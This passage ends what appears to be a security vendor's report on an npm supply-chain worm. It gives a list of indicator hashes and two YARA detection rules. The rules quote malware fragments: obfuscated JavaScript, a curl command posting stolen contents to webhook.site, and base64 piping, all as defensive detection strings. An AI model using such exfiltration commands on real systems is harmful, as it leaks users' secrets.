953dc4903d8a08f21d0a7cf49f01a1fe9f219434
6ff5d0a39979ea1f20f10128cfda5db2efcf78fb
8b88d5346ba09eb39b708ef0026790ee015b2fe6
8b547b4d81002e1fea9609e479ca9d960bdaf4fe
118ef85bd41f226651811314a17fb7ffba1e89fd
a92eafa302c3b910196fabc7387ac1bf01df1ad7
88a1b7b4dfe55bfcf33ee73520506596c3b11f05
e536300e48ce92cf82a153caccfdc5dc98f8a847
ecbdcb3eeb7185ab8ed904fc07bb77a3457b7b67
8960070bcf368cb548f80756e22170836028897d
71438f3f4e66f8a8e63a4009b39dfd62ceb1ee99
dc3c63c58f1f1fa2117b1657114b5d7e4c44c850
e21082f89587b00ade4af8eaf248989f25b1ddfc
a134cb5a9c3187c7e2419ce5981bc8365cfbb1d7
ee07b0ce5c042c9b01e165a3ae18de80fbf1cd43
a28a7b4cd232a7935fdf9495b439a8d54ececbc6
e3c0ce021261404a8808ff414013f3fa710fb36d
2ad5fdb982e406b6817225f0a4edf30262a8ed3a
3d5425b61125c257b30d021673cd61132c2b18c9
90a6096f7c835adcaa6fd55a46d86a39c2d23e04
996e65e1b433acace71844e61707068cad2e48dd
a0aade7704bf7fe660823a61705dfda12734da2e
885408eaba607eae0b325332e16597c95105a071
640376c96617c1845378137b7a1d9cb74928ba20
255d1c45b8c6617da82036d6d2671635b7b5b4e3
b6003fe43666d12f190d51f5279c44c480dd63e6
8b9873af85a6f4a5ab24d76dd97dc3fa83a53dd6
90fb283db12bcd6d4ead5f23b49b660fe060d451
4d07d9859fa20c5f287d699ddbe0ba1762ecf728
893f7d22e9e2a9f50ae583522bcace960a706a04
f1c23c1e76acbd07591e4708bc2f2768a9f754f2
ba60d4d997dd7367fa3490d1a39cf40ff2733504
87e624c96b4e113bbeddb7c251687d614f70e8c3
7d9b1f7f4f481aba7a6a469a9297b716c62f99be
7506b6c4d77b1338a5d489a6fae6c0f1f29460ea
bb5d7c3f23e1b5218f7a718f0a627cd0e897f39a
177bee8c32779d3df154f52aa60ae32c65abfa53
6bc95c243a33da1ff9ef09ba518da1ee58e44ff4
d42991857e0d782ce3b8cdc43ee2482e96b5884c
91255a47be4f1a3bdee2646d82ca412087708cab
d923da975d139aaa665f35b8feacbe6efead4dca
db4428be64a256f77f82f58237b416ba3ca0f16c
edca8792f335b64b6929ef08b5d9bf812cc9ce77
784dac6eae8261e32152f667286dc38e53b1bbcd
676be89a74e3bebde560fded35dabd0f8e00cd3b
22a00ac7a42f013e2cac82cf4a873dc6b064ae48
6c88f2f424d0a36cd9d63e399f3985f7d56600a4
64a415ff23f6388ab9c3b9487841303c6bf38ede
98b48eb833fa7c4efd2e5614ea8eee707d6a0a9f
9459764f29b525e068c890663c79ec7ef81e9496
b95d8b582445b8c2b9aa62329fde4ca6ed7fbd0e
4c1dd52439bc643280124a1987ec0aea9cdfbe06
5acc34cf4df6235952c5dd0c5fefefab27ce5590
60358631cd4fb8b529814623c09524ca8664105a
c8ae5c76dc5837e18736678e928357a575a28a9f
c6a544ed98b9a84cd45e115248b1ae3af79f075d
fc9809b849ac8827de7268186c125203b48eaabf
527b3bbcbb86e88a2f51199bc21e12aec19bbb62
f1a932205d020c521ea52de4159d5d340cdb7fcc
4223c5eb6d4d8b757e8be054c56417611d47098e
4c65f7bf4974a2892e2867dad270777cc1b1f0e0
2eaf147ef0a371050f3f1cec559ab9d2862036ae
30fc1482630d145d4bbd966ff1b8a61498694ca3
67c50e318598acccef483929398d27fecbde3c76
b1fb89ed6bd2d5e0f8c1958c080eb47ff2e6c01b
a12e996d90f783e67ca0b1a83eea0db2f099d003
3f6ad78b44f30e9f61d0a69251e709e5f4a02954
e39aa69f9fb9a072988e045c8b8e69f3adcb8bd2
c68054201d511f2135750edaef49958b4587267f
d04365647522fa3f5f4e4279dad1666b442812e2
a6f0ac3737e30f477d9466aab217e9925f3246ce
4e5e70b023b5d8f0983ba69d2fa2788b86df6d54
7951f1906b56a4efa93df963fc6d84c4a9704452
97dd6150e9390a09ba561bebb719d10cf153b753
31a8730a11fc6cbf1bbdd216d7053949e908c50f
9d7217be91c6da2de9ebac80aa7f7234071697d4
b64401062ed84bacab8d6de8d6865d05978cd713
13fc4426a084e0046cdea50d6fa46af1d532b570
254071afdb95e945a2098fe598ad972edea624a6
8c9e509a486a243910491fa789ea8897a5b12c09
eb901ee6b02a6ce51786241e300a30f82eae6dc5
0063c7524a71500459a9a66f906ab85146b440df
5b6457cd206d7e5154886a877d5c330ca4d01b4b
8b5f31b22ac158f488179c49e718043e6bef25ef
310a7ab4c3fc611e7dd3228b37052a841ff494d6
a3c6ec9670b239f7f69e41b99adc72f9a8894495
066b0294e11a90cfcb11dad16f3d5557712c7ebd
576fa07c3562822a92f20954693ad5e10db2375c
e0ac565baadd1f2a34b672549029b0fea57fe253
f563abf96e6839d229feee7fe3f7505e8671252b
b65a8f02bcc425e9f43f44c4062e57a7ed0bb4ac
ffd87620395edb43ae3f51bc7b5852e575627721
571549715b590510f535fcb3e82920888295bc52
5d52b179e5fca147958aec81a2b9d321ce5fd60d
d1ebfcb06fbab215f80a7689b99d880270f88cf5
845a1e93818f8860ece4c9da82884009b159921c
a5e233a8801faec95d35a703c0ca701e95048b35
d93c8c3688745239be212f87df64edb7e2284910
741c2c511901178f4c4272fcfcaf00cf00b7c8be
82600ebc40dae8ac100e4611738e30d8f99cd352
db10e35377f42be2016c15ed6caf95295f34aed0
a87cbf0a4cefbce50aa699641df2b61a833bca97
a9af7a973c11192c6656a9a175102beb497051f5
daa020b17b23a7d9f83048a626ea8398bedad195
1fca43f86a0a4c1697982c4659565b6532d2fecf
cfb5b91d5cd26eefa1bec6bf7f281d1f978d9b2f
a76e27340d18fa060f0ad2fb6356cdb33c0a517e
c2f0cc5734af74e244ff7ac34ea45387d813a22d
9b9a438091a5647e4ceb336fea424a384756183e
4fd67072517195ee728a17533b065a0e9ad8150b
210204bb7b25cef1a9ebe99f7215f2eeff2e5824
30c772252f31bc9d44dfa430a4476f3a2022e895
06cd5c05d0f744d759daaf47d532093f3f181406
35d1b0e71c952dea1825e5533828d69637b5d30e
88cfd1228ea1c8a22ced8b103c4e55c284f6225b
5b8857a6b61b9525aac325e4b3a79c3244005633
e3f5f625c96b78c65361d4ce9997eb8fe269c7ba
4dc5ee4c3152541d892944c7599b81c8d6b1afd6
bd839fe0b70def1c8ac7b6f3c9d6e8be16d6ddc0
1751fe471fe83e2ea704f227077ca0fd4b339858
2095e7fa04d2017a4d03b14b2a4a978c076772e4
0c708c8b4d02903233ce1d3913353e4ab9e33ce9
c86e40c248604f06e220675de5ea0af17711fc66
ea8bc17d3aca38a1deb1968a16ed64c52f331f54
fab6e4df7b80943ae29bb7b4edd003470da6627e
13f4230e8fad87054239f365636c85ff8656236b
6d934e3e5ba69ad11c985b7762a4d6c927fb3d98
711cfa0503a965e901a943798923bd5a181eda67
795f4a1625f49b754da8ecf8ca7ee374d203f435
1f86a2dd3636c1b3f6754bc8ad760c1154a8eeee
a28500d7adbb44e9fb29cb64401077ccfa2725ea
3c5b060c1a124123a7480cd57d9db98b52a638c3
1b6704faf237f65c83e1856c1c5f6efa9ec0e9ab
22d7593d921a31bb662a81a99dab6dcb97af2c57
389ecdcdc731e939261a597f11026b7ee216c77f
badf1b89443fc68e1369dd753eaeaac784e9df1b
7a1de8b9591a6920f980c7662ff9949642b4d0d4
90f59eaa4385641055b328fd2b0b5ab8d310301f
3ab7860deb3bde7a324c12cbbeb5532442f56709
10788351b07d79534c26ecf23b21448476c38bb9
7c1454a3907079182ce7441def94f21e7e3fb554
ebb9d53e562fdf659ee2f4aeefbc428de15b81c8
529a4a783d464070f6b6401bb3baf1535fee345d
7d7f924bc9eeafea04c11d49a2903ecf84eaebbb
b7ba4864a1aab4ba632c9c0fe1fcdc2fb0c268c8
0490214387616c1265447752310136352545831e
e2f8fddc8c17d4535218231b12626610d69b67aa
35187a7ee832909f901a713be277bb636692f422
eab6be69fbc87987a64474f67c237c728d792a70
317c491606e651a49db9873aed3a25fe2d7b9d6f
1b15ec68abb696117242013e543bf21c991bbff9
93fe3f8a095b4d4000b95c8eecb029293bf6912f
2c4f2019fc348539c97d75edcedd811e79bf1288
9094b2c603f4ed27c43c5dd43aa88042dd869838
91af64987e656a34c42438e8e1bb40cc1b7f4508
74de479293d9a47cce99c13f25e15103d40fbd0f
dc9e84f92048b0aa78e0a17ae69708ee7aeee349
7f82d532cc23945265391d54097f9f480142c161
1abffe88070892b714cbd9b52903ede4b7f51301
f1501a45e6ac7d1e95c8a6ef9f192583b6d91a56
68a6d3c07d849ad799f25e2b0c6bc08718d23f99
852391435a52bb19b5e008d0306e6113f5c178c8
ec45aaf47ec08f52fad9b6ef12f5edcbe4fd192f
48f74f6af4a5932945b41479c734560ace278999
90b442685ac930390102205534b9b15cc25f2d06
58cf961afe349338d25ed0eb610310d02a2a1bd3
934de881ec1be63301a8fd64ec761cc0a41c2ba5
c1fe9ce3cd6cacab31a8667294dca65faa0f3329
967bcd5cf05a814b9e14895183fe1e00fe06c8fd
c85966a482146b1d3d9e92d2e08d2e4ea8be643b
5cf876f82760193d2d068f3c5e1a24c7138002b1
66e20f881eb94efdc0958ffb5569741b5fee510b
a4cf109edf9241d35ef736ee01b18b7490b6f52c
401831d474a9597445ace62baa3b656bca97417d
0072122333af7439c26a1667df5205d4d65af1b2
320facebe79fcee01094aec1727a0584dd19728c
0c9b280e183cbf5276dc6b9650ea3fdd93fe2123
345989a561fbde9bffe1bfbc5866f874fc9db923
37a6b73233b03a6eee735cb39122f677b783d23f
f131a88cdfc93b2cd3e0731b0b6583a7326f1e19
73233bfb4ee82584594ae8388c2201d6ed16eee6
240bf4209c195b352661376736eb37c1848fc866
d7e800c37d67d878149fc7a6fb1569a654f928e5
110a6c4f5d41aee757d77aa19aa9a689ab754cdf
b6501d1eac8e9e9faa7d54cab6058bdb1072e682
bb89a120088691e2bd055678ed5c4ccb9a0c924f
1d96e59c100997baa323f34b0584231bac7e5c6b
62649977353e0dc5701c2f64344f450a12cb7484
fd1dd0aee3ccb7fabd751e8a3d3ba99c493391bd
d1c4c5d62cb29b32918227c6def85f4867392919
a9bd726a1c567cbf8be371de175298c2ba10b19b
d43347437dd29a3cae7bc1444a86d3c9cad281ec
ac9b23db8bac7ce84d507b73628818814a6fe24c
a1a3451d41b4d7e46080ed4ead5a2270cf8c434a
f1c163880151c3999cf23c2e39ad228ac71d503d
f25529f414e59e4e90cc74b7e2f48575205e6d4b
83ddf0bc25c6e88d45704fbc813761fca4179193
c9011fb8316e2cc639099643d42909aa32f5f85b
dc9758c76a361fe4a17d0cd51c9f8e5510f68cd5
cefb886c65d58dec552d217bf2e6bbfff900a067
8820c2a858b73c91eb9567355dba4b6911bb2eed
fa3d04c908bf3bf1e36485a8e9d4e901d9e5a57e
61a401e669a33cbd38ca717fda0e6bb86665e9bf
c5012da7a0588bf39f4666a83ce43e11f70eb655
21357b8d7070e494770dc1893690cb997f740f64
7e65df9d8bc61cc9698c79d5879f4b193cc7dfb1
932608d1ce4a27c9ee27ff94d68a0b511470eabb
a9990a5a9c470b631522f2d5916446c4bac85ed3
b0fec9e0e1855df3f154f021489848087b5f8762
c4a7f650aa3281fbb8c518eeb5254929e00a3651
e2eb2cbd7a5088de3fba370a9adc9ae08cc6cf1c
40b9aa9f98dc6073e04a56fd9d3596e4abefc596
026e4b7da1f1cee9ad99cb0fd6a1d255fe2b17a3
2d85a99dccfd2814b3708511dc20039d62dde41a
48932e2c66fb9fd103cdd2a4c0bfb77483061511
13af3719a7dabcb5b4a694a172a52cb14df19a2d
659820cbbcc8423a61db462dfe64ca30a9176203
7b61753a2103e7f64318a3e707feb3bbb36d92a1
aea3cb5108e29c7869890012d06a7396a8b29ec3
6bc7f46b3bdb3021d57782f27028030d95b5ce38
d3eaea409b77c9497adbf544563a2abb197f1d95
03225c19bee852cbc8e60424f8e63914119ce40b
85538b42f006e31ce802b5cc5fdb5000ecaf9998
c30927317377e66447b94ab5fbebb222123cf7e8

Appendix B - YARA Rules

Two detection rules have been developed:

1. MAL_JS_NPM_SupplyChain_Attack_Sep25
   - Detects obfuscated JavaScript in npm packages
   - Score: 85
   - Targets files under 200KB with specific obfuscation patterns
rule MAL_JS_NPM_SupplyChain_Attack_Sep25 {
   meta:
      description = "Detects obfuscated JavaScript in NPM packages used in supply chain crypto stealer attacks in September 2025"
      author = "Florian Roth"
      reference = "https://www.linkedin.com/feed/update/urn:li:activity:7370889385992437760/"
      date = "2025-09-09"
      score = 85
      hash1 = "16f6c756bc8ce5ef5d9aa1ded0f811ec0c9cee3d8f85cc151b8ca1df7b8a4337"
   strings:
      $x1 = "const _0x112fa8=_0x180f;(function(_0x13c8b9" ascii

      $fp1 = "<html"
      $fp2 = "<xml "
   condition:
      filesize < 200KB
      and 1 of ($x*)
      and not 1 of ($fp*)
}


2. MAL_JS_NPM_SupplyChain_Compromise_Sep25
   - Detects supply chain compromise indicators
   - Score: 80
   - Identifies webhook exfiltration patterns and base64 encoding

rule MAL_JS_NPM_SupplyChain_Compromise_Sep25 {
   meta:
      description = "Detects a supply chain compromise in NPM packages (TinyColor, CrowdStrike etc.)"
      author = "Florian Roth"
      reference = "https://socket.dev/blog/tinycolor-supply-chain-attack-affects-40-packages"
      date = "2025-09-16"
      modified = "2025-09-17"
      score = 80
   strings:
      $x1 = "if (plat === \"linux\") return \"https://github.com/trufflesecurity/trufflehog/releases"

      $sa1 = "curl -d \"$CONTENTS\" https://webhook.site/" ascii
      $sa2 = "curl -s -X POST -d \"$CONTENTS\" \"https://webhook.site/"
 
      $sb1 = " | base64 -w 0 | " ascii
      $sb2 = " | base64 -w0)"
   condition:
      filesize < 20MB
      and (
         1 of ($x*)
         or (
            1 of ($sa*)
            and 1 of ($sb*)
         )
      )
      and not uint8(0) == 0x7b  // JSON {
}

Ref: https://github.com/Neo23x0/signature-base/blob/master/yara/mal_npm_supply_chain_sep25.yar

This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers.

Latest from our newsroom

Blogs | Research

The Silent, Fileless Threat of VShell

By Sagar Bade · August 21, 2025

Malicious filename in a RAR archive to silently trigger Bash commands and drop a memory-only Vshell backdoor

Read the Blog

Blogs | Perspectives

Fewer Attacks, Greater Threats: The New Playbook Targeting Governments in 2025

By Brian Brown · July 30, 2025

Threat actors are now using more sophisticated and targeted attacks against the public sector, focusing on all government levels and development infrastructure, which demands stronger security measures.

Read the Blog

Blogs | Perspectives

Reflecting on the 2025 Gartner® Magic Quadrant™ for Endpoint Protection Platforms: How Trellix defines the future of endpoint security in a hybrid world

By Sanjay Raja · July 17, 2025

Learn about the recent 2025 Gartner MQ for EPP and how Trellix is delivering value to our customers.

Read the Blog

Get the latest

Stay up to date with the latest cybersecurity trends, best practices, security vulnerabilities, and so much more.

Zero spam. Unsubscribe at any time.

Quick Links

Blogs

The latest cybersecurity trends, best practices, security vulnerabilities, and more

ARIA Resort & Casino | Las Vegas
September 27-29, 2022

npm Account Hijacking and the Rise of Supply Chain Attacks

Key Takeaways

Timeline

Attack Vector & Methodology

Operational Objectives of the Shai-Hulud Worm

Impact and Outlook

MITRE ATT&CK Techniques Observed

Tools and Techniques Observed

Steps to Secure Your Organization

Trellix Detection Coverage

Building Resilience Against Future Third-Party Supply Chain Risks

Appendix A - Indicators of Compromise

Appendix B - YARA Rules

RECENT NEWS

RECENT STORIES

Latest from our newsroom

The Silent, Fileless Threat of VShell

Fewer Attacks, Greater Threats: The New Playbook Targeting Governments in 2025

Reflecting on the 2025 Gartner® Magic Quadrant™ for Endpoint Protection Platforms: How Trellix defines the future of endpoint security in a hybrid world

Featured Content

Get the latest

Stay up to date with the latest cybersecurity trends, best practices, security vulnerabilities, and so much more.

Blogs

The latest cybersecurity trends, best practices, security vulnerabilities, and more

ARIA Resort & Casino | Las Vegas September 27-29, 2022

npm Account Hijacking and the Rise of Supply Chain Attacks

Key Takeaways

Timeline

Attack Vector & Methodology

Operational Objectives of the Shai-Hulud Worm

Impact and Outlook

MITRE ATT&CK Techniques Observed

Tools and Techniques Observed

Steps to Secure Your Organization

Trellix Detection Coverage

Building Resilience Against Future Third-Party Supply Chain Risks

Appendix A - Indicators of Compromise

Appendix B - YARA Rules

RECENT NEWS

RECENT STORIES

Latest from our newsroom

The Silent, Fileless Threat of VShell

Fewer Attacks, Greater Threats: The New Playbook Targeting Governments in 2025

Reflecting on the 2025 Gartner® Magic Quadrant™ for Endpoint Protection Platforms: How Trellix defines the future of endpoint security in a hybrid world

Featured Content

Get the latest

Stay up to date with the latest cybersecurity trends, best practices, security vulnerabilities, and so much more.

Search Tips

ARIA Resort & Casino | Las Vegas
September 27-29, 2022